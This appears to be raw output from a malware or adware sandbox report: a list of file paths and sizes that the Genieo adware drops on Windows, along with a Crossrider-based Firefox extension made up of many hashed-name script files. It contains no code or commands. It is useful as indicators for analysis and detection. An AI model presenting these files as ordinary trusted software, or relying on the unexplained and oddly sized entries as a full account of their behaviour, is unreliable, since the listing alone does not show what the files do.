C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\sensor-disabled_18px.png (914 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\cmd_close.png (155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\genieo-16icon-browser-disabled.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\2_collecting.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\redHome.png (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\uninstall\gim394750002\partner_uninstall.exe (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\icon-16-disabled.png (646 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_enabled_nav_next.gif (847 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\down3.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\objectivehot_disabled_nav_prev.gif (853 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\text\en_text.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\objectivehot_enabled_nav_prev.png (153 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn9118.tmp (25714 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_disabled_nav_next.png (161 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\bin\license.exe (2392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\network_retry.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\hide_notfication_seperator.png (281 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\expand.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\css\partner.css (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\text\LicenseAgreement.txt (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\uac_retry.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\objectivehot_enabled_nav_next.gif (847 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\firefox-bar-16.png (586 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\enabled_nav_prev.gif (853 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\sensor-enabled_18px.png (821 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\down2.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\sensor-disabled_18px.png (914 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\3_mapping.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\favicon.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\sensor-enable.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_enabled_nav_prev.png (153 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\GenericApp.icns (4992 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\objectivehot_disabled_nav_next.gif (855 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\install_icon.ico (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\favicon.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\complete.png (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\disable-transition-2.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\disabled_nav_next.gif (855 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\conf\partnerBannedList.dat (66 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd9129.tmp\KillProcDLL.dll (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\conf\partnerBannedList.dat (66 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\objectivehot_disabled_nav_next.png (161 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\objectivehot_enabled_nav_prev.gif (853 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\off.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\genieo-16icon-browser-disabled.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\error.png (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\objectivehot_enabled_nav_next.png (150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\conf\partner.properties (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\tray_normal.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd9129.tmp\fct.dll (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\disable-transition-1.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\text\fr_text.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_rgn_image.bmp (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\firefox-bar-16.png (586 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\css\notify_partner.css (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\sethpButton.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\prep_env.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\uac_retry.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\ru_complete.png (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\error.png (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\prep_env_err.png (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\text\text.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\text\ru_text.properties (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\dfImg.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\1_downloading.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\disable-transition-3.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\network_retry.png (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\text\en_text.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\desktop.ico (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\disable-transition-3.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\fr_complete.png (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\icon-16-enabled.png (537 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_disabled_nav_prev.gif (853 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\uninstall\partner_uninstall.exe (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\sensor-disable.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\sensor-disable.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\firefox-bar-24.png (727 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\hide_notification.png (165 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\disable-transition-4.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\disable-transition-4.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\3_mapping.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\4_creating.png (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\tray\4_creating.png (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\objectivehot_disabled_nav_prev.png (164 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\notification_disabled_nav_next.gif (855 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\footer_right_logo.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\genieo-16icon-browser.png (537 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\sensor-enabled_18px.png (821 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\genieo\img\noItems.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\tray_awaitingMessage.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\disable-transition-1.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Partner\gim394750002\img\tray\off.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\c8ddbcc112c441fa218409da1ae1797a.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\9d73d802e7b66d98828afac888b64630.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins.json (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\edcfcd740bdd8ad0e8b2ea623bfcaf15.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\e72676018a651cdf135858ac34180bf7.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\399.js (525 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\385.js (805 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\28.js (506 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\ac7feb5d585234098652fdd9dcf88f7c.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\1e6fd04298ba2ebc5948562688a837f7.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\df310260f69004640041daf643f0d1a9.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome.manifest (622 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\81c5a677b2a0eabbe4febf98a13b9c05.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\8d1184578afb74ab4a126771b974d8a9.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\faf7ba22a2b59afac2e0eb89cbaf2952.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\a2363d0fce9f48f4857cd9bbaa4e0eeb.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\39cd9dcbdb2c39f22ac8edef304a7be5.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\290.js (897 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\4b750e3f1c1ac3b032ae9adb31731eaa.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\14c82566b1e540465ed6319e17ffd523.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\dc894b14430cf1b4bfdc513c290534eb.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\9f6c0a070245edb6b3cd5917b6b3073c.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\598f269dcfbe971c26704e007be8c813.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\9a257dc576cb97bab1419e19aca165dd.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\d2eeac3be4810a91956fd1b8969602bc.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\8c2678a0d3972242598a3a973645d4ad.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\87d04bcaa4403a636e183d08b3b75167.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\60f3934a87385bfc126f30c7f6bafc5c.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\345.js (679 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\feac2085dca1527c4a73d2d5ded63b6e.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon24.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\background.js (433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\2ea23f6c8fc5e6e826c0b5a7b405c50e.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\7b66512ae58bf51f643db2b1aed2d802.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\3c662dc1cdbc867f53b4b8ae0b4aed3b.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\0247da96cf7126256ea3514e297fc176.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\743a1fe0602ff2213643bb065da8ca75.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\985ca8e2b010bf7803bb9569b9a3844d.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\d644038a21bdcdf3409961424eefec98.js (649 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon128.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\5afb41836e05bc69e51da913f6d04fed.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\a017e86727e3d2e15390c7406eee9e91.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\0fd01671b9ce203634fc6312eb81990c.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\831032e57e6c551be6f95792bcec13da.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\9b7235c7739b901ddf58d88a9d5c2da5.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\5dfbd597bc3ba10da416305935f59b21.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\d473f675af061e5e9b6f38148b02a09a.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon48.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\skin.css (899 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\05019ea1a4090e489bca9e70bff04d10.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\f2be8586ac139e65a590b54fce2d855c.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\a2b712b8559b7f7bc50a8c04e4ec1268.js (26 bytes)
